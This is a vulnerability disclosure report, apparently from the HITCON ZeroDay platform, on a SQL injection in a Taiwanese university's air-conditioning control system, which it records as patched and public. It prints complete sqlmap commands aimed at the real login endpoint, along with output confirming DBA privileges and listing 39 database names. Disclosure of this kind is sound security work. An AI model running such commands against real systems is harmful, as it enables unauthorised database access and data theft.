Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01079
- 發信 Vendor: 南華大學
- Title: 南華大學 學慧樓(演藝廳)-空調控制系統 mysql注入
- Introduction: mysql 注入
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/08/24 08:18:50 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/24 08:29:00 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/28 18:27:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:50:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:50:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 15:00:28 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/25 03:00:25 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2026-01079
- 通報者：koby12345 (桃園怪人協會幹部之一)
- 風險：低
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
3種注入法我用E
sqlmap -u "https://nhu-air-wisdom.cloudstudio.com.tw/ajax/user_system/f_want_to_enter" \
--data "login_id=123456&login_pw=123456" \
-p "login_id,login_pw" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2 \
--hex
查DBA(aoobtds@%) 這居然是DBA T
[08:13:35] [INFO] fetching current user
[08:13:35] [INFO] retrieved: 'aoobtds@%'
[08:13:36] [WARNING] there was a problem decoding value '1' from expected hexadecimal form
current user is DBA: True
sqlmap -u "https://nhu-air-wisdom.cloudstudio.com.tw/ajax/user_system/f_want_to_enter" \
--data "login_id=123456&login_pw=123456" \
-p "login_id,login_pw" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--technique=E \
--risk 2 \
--dbms=mysql \
--hex \
--is-dba
查庫
sqlmap -u "https://nhu-air-wisdom.cloudstudio.com.tw/ajax/user_system/f_want_to_enter" \
--data "login_id=123456&login_pw=123456" \
-p "login_id,login_pw" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--technique=E \
--risk 2 \
--dbms=mysql \
--hex \
--dbs
available databases [39]:
[] 2017_power
[] 2018_11_nhu100
[] 2018_12_nhu100
[] 202007_nice
[] 2020_09_wash
[] 2021_07_eesm
[] 2021_08_pc_room
[] 2021_09_10_rescue
[] 2021_10_28_accounting
[] 2021_12_28_accounting_car
[] 2021_12_pc_classroom
[] 2022-03-31-avjet
[] 2022_03_pc_library
[] 2022_06_nhu2022
[] 2022_09_air_learn
[] 2022_09_air_library
[] 2022_11_avjet
[] 2022_11_beauty_sg
[] 2022_11_drink
[] 2022_12_air_wisdom
[] 2023_09_air_learn
[] 2023_12_recycle
[] 2024_02_nsjh_gym
[] 2024_04_28_hospital
[] 2024_05_nhu113
[] 2024_06_nhu_water
[] 2024_07_cyjh
[] 2024_11_fate
[] 2024_11_night
[] 2025_05_ltjh_ac
[] 2025_05_recycle
[] 2025_09_fv
[] 2025_10_shes_ac
[] 2026_06_tag
[] 22_03_accounting_hao
[] cloudstudio
[] information_schema
[] mysql
[*] performance_schema